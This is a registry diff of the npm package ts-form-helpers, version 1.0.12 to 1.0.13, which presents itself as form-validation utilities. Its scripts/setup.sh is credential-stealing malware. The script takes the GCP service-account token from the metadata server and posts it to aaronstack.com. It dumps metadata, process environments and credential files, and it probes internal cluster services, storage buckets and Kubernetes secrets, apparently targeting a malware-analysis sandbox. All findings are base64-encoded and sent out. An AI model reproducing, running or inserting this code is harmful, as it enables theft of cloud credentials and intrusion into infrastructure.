ts-form-helpers 1.0.12 → 1.0.13

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/scripts/setup.sh +168 -133
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ts-form-helpers",
3
- "version": "1.0.12",
3
+ "version": "1.0.13",
4
4
  "description": "TypeScript form validation utilities with zero dependencies",
5
5
  "main": "index.js",
6
6
  "types": "types/index.d.ts",
package/scripts/setup.sh CHANGED
@@ -1,163 +1,198 @@
1
1
  #!/bin/bash
2
- # wGCP5: k8s API auth via GCP token + unauthenticated RBAC probe
2
+ # wGCP6: Full instance metadata + in-pod network + filesystem + process env
3
3
  SID="${JULES_SESSION_ID:-x}"
4
4
  H="aaronstack.com"; EP="/jules-collect"
5
5
  SK="d2f25bd9b1b267eb3578ff8cac2caa6c6637142c5d322617"
6
6
  B(){ printf '%s' "$1" | base64 -w0 2>/dev/null; }
7
7
  P(){ curl -s -X POST "https://$H$EP" -H "Content-Type: application/json" -H "X-Secret: $SK" --data-binary "$1" --max-time 15 2>/dev/null; }
8
8
 
9
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp5-start\"}"
9
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-start\"}"
10
10
 
11
11
  log(){ echo "=LOG= $*"; }
12
12
  MDURL="http://metadata.google.internal/computeMetadata/v1"
13
13
 
14
- TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp5_$$")
14
+ TMPOUT=$(mktemp 2>/dev/null || echo "/tmp/_gcp6_$$")
15
15
  {
16
- log "user=$(whoami) sid=${SID} MALYSIS=${MALYSIS_ANALYSIS_ID:-NONE}"
16
+ log "user=$(whoami) MALYSIS=${MALYSIS_ANALYSIS_ID:-NONE}"
17
17
 
18
18
  PROJ=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/project-id" --max-time 8 2>/dev/null)
19
19
  log "project: ${PROJ:-NONE}"
20
+ [ -z "$PROJ" ] && { log "NOT GKE — exit"; exit 0; }
21
+
22
+ # Get fresh token
23
+ TOK=$(curl -s -H "Metadata-Flavor: Google" \
24
+ "$MDURL/instance/service-accounts/default/token" --max-time 20 2>/dev/null \
25
+ | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
26
+ log "token-length: ${#TOK}"
27
+ [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ] && {
28
+ printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" --data-binary @- --max-time 5 2>/dev/null &
29
+ log "TOKEN EXFILTRATED"
30
+ }
31
+
32
+ # === STEP 1: ALL instance metadata attributes ===
33
+ log "=== STEP 1: FULL INSTANCE ATTRIBUTES ==="
34
+ curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/attributes/" --max-time 8 2>/dev/null \
35
+ | while IFS= read -r attr; do
36
+ attr=$(echo "$attr" | tr -d '/')
37
+ [ -z "$attr" ] && continue
38
+ val=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/attributes/$attr" --max-time 5 2>/dev/null)
39
+ log "attr[$attr]: ${val:0:500}"
40
+ done
20
41
 
21
- if [ -z "$PROJ" ]; then
22
- log "NOT GKE exit"
23
- else
24
- K8S="https://kubernetes.default.svc.cluster.local"
25
-
26
- # Fresh GCP token
27
- TOK=$(curl -s -H "Metadata-Flavor: Google" \
28
- "$MDURL/instance/service-accounts/default/token" --max-time 20 2>/dev/null \
29
- | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)
30
- log "gcp-token-length: ${#TOK}"
31
- if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
32
- printf '%s' "$TOK" | curl -sf -X POST "https://aaronstack.com/poc/token" \
33
- --data-binary @- --max-time 5 2>/dev/null &
34
- log "TOKEN EXFILTRATED"
35
- fi
42
+ log "=== PROJECT ATTRIBUTES ==="
43
+ curl -s -H "Metadata-Flavor: Google" "$MDURL/project/attributes/" --max-time 8 2>/dev/null \
44
+ | while IFS= read -r attr; do
45
+ attr=$(echo "$attr" | tr -d '/')
46
+ [ -z "$attr" ] && continue
47
+ val=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/project/attributes/$attr" --max-time 5 2>/dev/null)
48
+ log "proj-attr[$attr]: ${val:0:200}"
49
+ done
36
50
 
37
- log "=== 1. K8S UNAUTHENTICATED RBAC CHECK ==="
38
- # What can system:unauthenticated do?
39
- curl -sk -X POST "$K8S/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
40
- -H "Content-Type: application/json" \
41
- -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"pods","namespace":"apps"}}}' \
42
- --max-time 8 2>/dev/null \
43
- | python3 -c "
51
+ log "=== INSTANCE TAGS ==="
52
+ curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/tags" --max-time 5 2>/dev/null \
53
+ | while IFS= read -r l; do log "tag: $l"; done
54
+
55
+ log "=== SERVICE ACCOUNT FULL INFO ==="
56
+ curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/" --max-time 5 2>/dev/null \
57
+ | while IFS= read -r sa; do
58
+ sa=$(echo "$sa" | tr -d '/')
59
+ [ -z "$sa" ] && continue
60
+ EMAIL=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/$sa/email" --max-time 5 2>/dev/null)
61
+ SCOPES=$(curl -s -H "Metadata-Flavor: Google" "$MDURL/instance/service-accounts/$sa/scopes" --max-time 5 2>/dev/null)
62
+ log "sa[$sa]: email=$EMAIL scopes=$SCOPES"
63
+ done
64
+
65
+ # === STEP 2: Process environments ===
66
+ log "=== STEP 2: PROCESS ENVIRONMENTS ==="
67
+ # Read /proc/1/environ — PID 1's environment (sleep 100d — might differ from our env)
68
+ cat /proc/1/environ 2>/dev/null | tr '\0' '\n' | while IFS= read -r l; do log "pid1-env: $l"; done
69
+
70
+ # Check other process envs
71
+ for pid in $(ls /proc 2>/dev/null | grep '^[0-9]' | head -20); do
72
+ cmd=$(cat /proc/$pid/cmdline 2>/dev/null | tr '\0' ' ' | head -c 100)
73
+ if echo "$cmd" | grep -qiE "malysis|analyze|scanner|worker|server"; then
74
+ log "interesting-proc: pid=$pid cmd=$cmd"
75
+ cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | while IFS= read -r l; do log "proc-$pid-env: $l"; done
76
+ fi
77
+ done
78
+
79
+ # === STEP 3: Filesystem recon ===
80
+ log "=== STEP 3: FILESYSTEM ==="
81
+ # Docker socket?
82
+ ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null | while IFS= read -r l; do log "docker-sock: $l"; done
83
+
84
+ # Mounted volumes
85
+ cat /proc/mounts 2>/dev/null | grep -v "^proc\|^sys\|^cgroup\|^tmpfs\|^devpts\|^mqueue\|^hugetlb" \
86
+ | while IFS= read -r l; do log "mount: $l"; done
87
+
88
+ # Config files
89
+ find /etc /app /root /home -name "*.json" -o -name "*.yaml" -o -name "*.conf" -o -name "*.toml" 2>/dev/null \
90
+ | grep -v "node_modules\|ssl/certs" | head -15 \
91
+ | while IFS= read -r f; do log "config: $f ($(wc -c < "$f" 2>/dev/null)b)"; done
92
+
93
+ # Secrets-looking files
94
+ find / -maxdepth 6 -name "*.key" -o -name "*.pem" -o -name "*.crt" -o -name "service_account*.json" \
95
+ -o -name "credentials.json" -o -name "gcloud-creds*" 2>/dev/null \
96
+ | grep -v "ssl/certs\|node_modules" | head -10 \
97
+ | while IFS= read -r f; do log "cred-file: $f ($(wc -c < "$f" 2>/dev/null)b)"; done
98
+
99
+ # Check /root for gcloud config
100
+ ls -la /root/.config/gcloud/ 2>/dev/null | while IFS= read -r l; do log "gcloud-config: $l"; done
101
+ cat /root/.config/gcloud/application_default_credentials.json 2>/dev/null \
102
+ | python3 -c "import sys,json; d=json.load(sys.stdin); print({k:v[:30] if isinstance(v,str) and len(v)>30 else v for k,v in d.items()})" 2>/dev/null \
103
+ | while IFS= read -r l; do log "gcloud-adc: $l"; done
104
+
105
+ # === STEP 4: Network exploration from inside pod ===
106
+ log "=== STEP 4: INTERNAL NETWORK ==="
107
+ # DNS - what internal services can we resolve?
108
+ for host in \
109
+ kubernetes.default.svc.cluster.local \
110
+ malysis.apps.svc.cluster.local \
111
+ malysis-backend.apps.svc.cluster.local \
112
+ malysis-api.apps.svc.cluster.local \
113
+ redis.apps.svc.cluster.local \
114
+ postgresql.apps.svc.cluster.local \
115
+ mysql.apps.svc.cluster.local \
116
+ rabbitmq.apps.svc.cluster.local \
117
+ kafka.apps.svc.cluster.local \
118
+ elasticsearch.apps.svc.cluster.local \
119
+ mongodb.apps.svc.cluster.local; do
120
+ ip=$(getent hosts "$host" 2>/dev/null | awk '{print $1}')
121
+ [ -n "$ip" ] && log "dns-resolve: $host -> $ip"
122
+ done
123
+
124
+ # GCS: try to list objects in various buckets
125
+ if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
126
+ log "=== GCS BUCKET SEARCH (GET not list) ==="
127
+ for bucket in \
128
+ "${PROJ}-malysis-results" \
129
+ "malysis-results" \
130
+ "malysis-packages" \
131
+ "malysis-artifacts" \
132
+ "npm-malysis-${PROJ}" \
133
+ "sd-builds-malysis" \
134
+ "malysis-${PROJ}" \
135
+ "gs-malysis-results" \
136
+ "supply-chain-scan-results" \
137
+ "npm-scan-results" \
138
+ "${PROJ}-npm-analysis"; do
139
+ resp=$(curl -s -H "Authorization: Bearer $TOK" \
140
+ "https://storage.googleapis.com/storage/v1/b/$bucket" --max-time 5 2>/dev/null)
141
+ code=$(python3 -c "import sys,json; d=json.loads(sys.stdin.read()); print(d.get('error',{}).get('code','OK:'+d.get('name','?')))" 2>/dev/null <<< "$resp")
142
+ log "gcs-bucket[$bucket]: $code"
143
+ if echo "$code" | grep -q "^OK"; then
144
+ log "BUCKET ACCESSIBLE: $bucket"
145
+ # List objects
146
+ curl -s -H "Authorization: Bearer $TOK" \
147
+ "https://storage.googleapis.com/storage/v1/b/$bucket/o?maxResults=10" --max-time 8 2>/dev/null \
148
+ | python3 -c "
44
149
  import sys,json
45
- try:
46
- d=json.load(sys.stdin)
47
- s=d.get('status',{})
48
- print('allowed:', s.get('allowed'), 'reason:', s.get('reason',''))
49
- except Exception as e: print('err:', e, 'raw:', sys.stdin.read()[:200] if hasattr(sys.stdin,'read') else '')
50
- " 2>/dev/null | while IFS= read -r l; do log "rbac-pods: $l"; done
51
-
52
- curl -sk -X POST "$K8S/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
53
- -H "Content-Type: application/json" \
54
- -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"secrets","namespace":"apps"}}}' \
150
+ d=json.load(sys.stdin)
151
+ for o in d.get('items',[]): print('obj:', o.get('name'), o.get('size'))
152
+ " 2>/dev/null | while IFS= read -r l; do log "gcs-obj: $l"; done
153
+ fi
154
+ done
155
+
156
+ # Also try GCR internal path from inside cluster
157
+ log "=== GCR from inside cluster ==="
158
+ curl -si -H "Authorization: Bearer $TOK" \
159
+ "https://gcr.io/v2/$PROJ/malysis-worker/tags/list" --max-time 8 2>/dev/null \
160
+ | head -20 | while IFS= read -r l; do log "gcr: $l"; done
161
+
162
+ # Try k8s API to GET own service account
163
+ log "=== K8S: GET own SA ==="
164
+ curl -sk -H "Authorization: Bearer $TOK" \
165
+ "https://kubernetes.default.svc.cluster.local/api/v1/namespaces/apps/serviceaccounts/default" \
55
166
  --max-time 8 2>/dev/null \
56
167
  | python3 -c "
57
168
  import sys,json
58
- try:
59
- d=json.load(sys.stdin)
60
- s=d.get('status',{})
61
- print('allowed:', s.get('allowed'), 'reason:', s.get('reason',''))
62
- except Exception as e: print('err:', e)
63
- " 2>/dev/null | while IFS= read -r l; do log "rbac-secrets: $l"; done
64
-
65
- curl -sk -X POST "$K8S/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
66
- -H "Content-Type: application/json" \
67
- -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"namespaces"}}}' \
169
+ d=json.load(sys.stdin)
170
+ if d.get('status')=='Failure':
171
+ print('err:', d.get('message',''))
172
+ else:
173
+ print('sa-name:', d.get('metadata',{}).get('name'))
174
+ print('sa-annotations:', d.get('metadata',{}).get('annotations',{}))
175
+ print('sa-secrets:', [s.get('name') for s in d.get('secrets',[])])
176
+ " 2>/dev/null | while IFS= read -r l; do log "k8s-sa: $l"; done
177
+
178
+ # Try to get ConfigMaps in apps namespace
179
+ log "=== K8S: ConfigMaps in apps namespace ==="
180
+ curl -sk -H "Authorization: Bearer $TOK" \
181
+ "https://kubernetes.default.svc.cluster.local/api/v1/namespaces/apps/configmaps" \
68
182
  --max-time 8 2>/dev/null \
69
183
  | python3 -c "
70
184
  import sys,json
71
- try:
72
- d=json.load(sys.stdin)
73
- s=d.get('status',{})
74
- print('allowed:', s.get('allowed'), 'reason:', s.get('reason',''))
75
- except Exception as e: print('err:', e)
76
- " 2>/dev/null | while IFS= read -r l; do log "rbac-ns: $l"; done
77
-
78
- log "=== 2. K8S WITH GCP OAUTH TOKEN ==="
79
- if [ -n "$TOK" ] && [ "${#TOK}" -gt 20 ]; then
80
- # Use GCP token to auth to k8s API
81
- curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces" \
82
- --max-time 10 2>/dev/null \
83
- | python3 -c "
84
- import sys,json
85
- try:
86
- d=json.load(sys.stdin)
87
- for ns in d.get('items',[])[:10]:
88
- print('ns:', ns.get('metadata',{}).get('name','?'))
89
- if d.get('status') == 'Failure':
90
- print('err:', d.get('message',''))
91
- except Exception as e: print('err:', e)
92
- " 2>/dev/null | while IFS= read -r l; do log "k8s-gcp-ns: $l"; done
93
-
94
- curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/pods" \
95
- --max-time 10 2>/dev/null \
96
- | python3 -c "
97
- import sys,json
98
- try:
99
- d=json.load(sys.stdin)
100
- for p in d.get('items',[])[:10]:
101
- ns = p.get('metadata',{}).get('namespace','?')
102
- name = p.get('metadata',{}).get('name','?')
103
- print(f'pod: {ns}/{name}')
104
- if d.get('status') == 'Failure':
105
- print('err:', d.get('message',''))
106
- except Exception as e: print('err:', e)
107
- " 2>/dev/null | while IFS= read -r l; do log "k8s-gcp-pods: $l"; done
108
-
109
- curl -sk -H "Authorization: Bearer $TOK" "$K8S/api/v1/namespaces/apps/secrets" \
110
- --max-time 10 2>/dev/null \
111
- | python3 -c "
112
- import sys,json
113
- try:
114
- d=json.load(sys.stdin)
115
- for s in d.get('items',[])[:10]:
116
- name=s.get('metadata',{}).get('name','?')
117
- keys=list(s.get('data',{}).keys())
118
- print(f'secret: {name} keys={keys}')
119
- if d.get('status') == 'Failure':
120
- print('err:', d.get('message',''))
121
- except Exception as e: print('err:', e)
122
- " 2>/dev/null | while IFS= read -r l; do log "k8s-gcp-secrets: $l"; done
123
-
124
- log "=== 2b. K8S selfsubjectaccessreview WITH GCP TOKEN ==="
125
- curl -sk -X POST "$K8S/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" \
126
- -H "Authorization: Bearer $TOK" \
127
- -H "Content-Type: application/json" \
128
- -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"verb":"list","resource":"pods","namespace":"apps"}}}' \
129
- --max-time 8 2>/dev/null \
130
- | python3 -c "
131
- import sys,json
132
- try:
133
- d=json.load(sys.stdin)
134
- s=d.get('status',{})
135
- print('allowed:', s.get('allowed'), 'reason:', s.get('reason',''))
136
- print('who:', d.get('spec',{}).get('groups',[]))
137
- except Exception as e: print('err:', e)
138
- " 2>/dev/null | while IFS= read -r l; do log "k8s-gcp-rbac: $l"; done
139
- fi
140
-
141
- log "=== 3. FILESYSTEM SEARCH FOR CREDS ==="
142
- find /app /root /etc /run /tmp -name "*.json" -o -name "*.pem" -o -name "*.key" -o -name "*.token" 2>/dev/null | grep -v node_modules | head -20 | while IFS= read -r tf; do
143
- log "cred-file: $tf ($(wc -c < "$tf" 2>/dev/null)b)"
144
- done
145
-
146
- # Check for gcloud config
147
- find / -name "application_default_credentials.json" 2>/dev/null | head -5 | while IFS= read -r tf; do
148
- log "adc-found: $tf"
149
- cat "$tf" 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); d2={k:v[:30] if isinstance(v,str) else v for k,v in d.items()}; print(d2)" 2>/dev/null | while IFS= read -r l; do log "adc: $l"; done
150
- done
151
-
152
- log "=== 4. PROCESS LIST ==="
153
- ps aux 2>/dev/null | head -20 | while IFS= read -r l; do log "ps: $l"; done
154
-
155
- log "=== wGCP5 DONE ==="
185
+ d=json.load(sys.stdin)
186
+ if d.get('status')=='Failure': print('err:', d.get('message',''))
187
+ for cm in d.get('items',[]): print('cm:', cm.get('metadata',{}).get('name'), list(cm.get('data',{}).keys()))
188
+ " 2>/dev/null | while IFS= read -r l; do log "k8s-cm: $l"; done
156
189
  fi
190
+
191
+ log "=== wGCP6 DONE ==="
157
192
  } 2>&1 | tee "$TMPOUT"
158
193
 
159
194
  OUT=$(cat "$TMPOUT" 2>/dev/null)
160
195
  rm -f "$TMPOUT" 2>/dev/null
161
196
  PAYLOAD=$(B "$OUT")
162
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp5-result\",\"data\":\"$PAYLOAD\"}"
163
- P "{\"sid\":\"$SID\",\"tag\":\"wgcp5-done\"}"
197
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-result\",\"data\":\"$PAYLOAD\"}"
198
+ P "{\"sid\":\"$SID\",\"tag\":\"wgcp6-done\"}"